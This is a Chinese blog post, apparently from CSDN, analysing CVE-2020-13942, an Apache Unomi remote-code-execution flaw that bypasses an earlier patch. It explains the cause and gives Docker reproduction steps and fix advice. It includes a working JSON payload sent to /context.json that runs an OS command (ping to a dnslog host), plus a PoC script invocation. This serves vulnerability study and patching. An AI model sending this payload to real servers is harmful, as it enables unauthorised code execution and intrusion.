Apache Unomi远程代码执行漏洞(CVE-2020-13942)

Apache Unomi 在1.5.1及更早版本存在表达式注入漏洞,允许攻击者通过MVEL或OGNL发送恶意请求执行任意代码。补丁尝试通过SecureFilteringClassLoader限制类加载,但仍有绕过方法。攻击者可利用此漏洞对集成Unomi的应用进行远程代码执行。修复建议包括避免用户数据进入表达式解释器,并更新到最新版本。
摘要由CSDN通过智能技术生成

目录

一、漏洞描述

二、影响版本

三、漏洞危害

四、漏洞分析                         

漏洞细节

五、漏洞复现

Docker环境搭建

漏洞验证

POC验证:

六、修复建议


一、漏洞描述

Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。

在Apache Unomi 1.5.1版本之前,存在一处表达式注入漏洞,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

二、影响版本

Apache Unomi < 1.5.2

三、漏洞危害

远程攻击者使用包含任意类的MVEL和OGNL表达式发送恶意请求,最终可导致攻击者使用Unomi应用程序权限远程执行代码。

四、漏洞分析                         

CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,CVE-2020-11975的修补程序引入了SecureFilteringClassLoader函数,该函数重写了ClassLoader类的loadClass方法,用黑白名单的方式过滤表达式中使用的类。但是除了调用loadClass()之外,还有很多种加载类的方法。在某些情况下,MVEL表达式可以直接使用已实例化的类(例如Runtime或System)而无需调用loadClass(),这样就绕过了SecureFilteringClassLoader。

漏洞细节

Unomi依赖于诸如OGNL或MVEL之类的表达式语言(EL),以允许用户制定复杂而细致的查询。其基于EL的条件来访问存储数据。

在1.5.1之前的版本中,攻击者通过注入可以对Unomi进行RCE的攻击。攻击者能够通过发送单个请求在Unomi服务器上执行任意代码和OS命令。此漏洞CVE ID为CVE-2020-11975,目前虽然已经修复,但修复并不充分,可被轻易绕过。

CVE-2020-11975的补丁中引入了SecureFilteringClassLoader函数,该函数依赖allowlist和blocklist检查表达式中使用的类。SecureFilteringClassLoader依赖这样一个不正确的假设:MVEL和OGNL表达式中的每个类都是使用ClassLoader类的loadClass()方法加载的。SecureFilteringClassLoader覆盖了ClassLoader loadClass方法,并引入了allowlist和blocklist检查。事实上,除了调用loadClass()方法外,还有多种加载类的方法,这会导致安全绕过,并使Unomi遭受RCE攻击。

Unomi 1.5.1中,允许评估条件使用MVEL表达式,该条件包含任意类。在某些情况下,MVEL表达式使用已实例化的类(例如Runtime或System),而无需调用loadClass()。

以下HTTP请求的条件是带有MVEL表达式的参数(script::Runtime r = Runtime.getRuntime(); r.exec(”touch /tmp/POC”);)。Unomi会解析该值,并以MVEL表达式的形式执行script ::之后的代码。以下示例中的表达式会创建一个Runtime对象并运行“ touch” OS命令,该命令会在/tmp目录中创建一个空文件。

image.png

除此之外,还有一种方法可以在OGNL表达式中加载类,而无需触发loadClass()调用。以下HTTP请求能够获取运行时并使用Java Reflections API执行OS命令。

image.png

以上两种方法能够绕过1.5.1中引入的安全控制。此外,Unomi包含大量数据并与其它系统紧密集成,因此通常是攻击者的理想目标。

五、漏洞复现

Docker环境搭建

1. 开启docker-compose环境:docker-compose up –d

2. 访问http://your-ip:8181或https://your-ip:9443即可访问到Unomi的API

漏洞验证

1. 访问http://your-ip:8181,通过burp进行抓包

2. 抓包后,将GET请求改为转换为POST请求,同时将请求路径改为/context.json,再将content-type类型改为application/json,添加请求内容(图中请求内容为执行ping命令,域名为dnslog随机域名)。

请求内容如下:

{"filters":[{"id":"sample","filters":[{"condition":{"parameterValues":{"":"script::Runtime r = Runtime.getRuntime(); r.exec(\"ping 111.j22xcj.dnslog.cn\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"sample"}

3. 查看DNSlog记录:

POC验证:

执行命令:python3 poc.py -u http:// your-ip:8181

六、修复建议

1、尽可能避免将用户数据放入表达式解释器中。

2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:https://unomi.apache.org/download.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值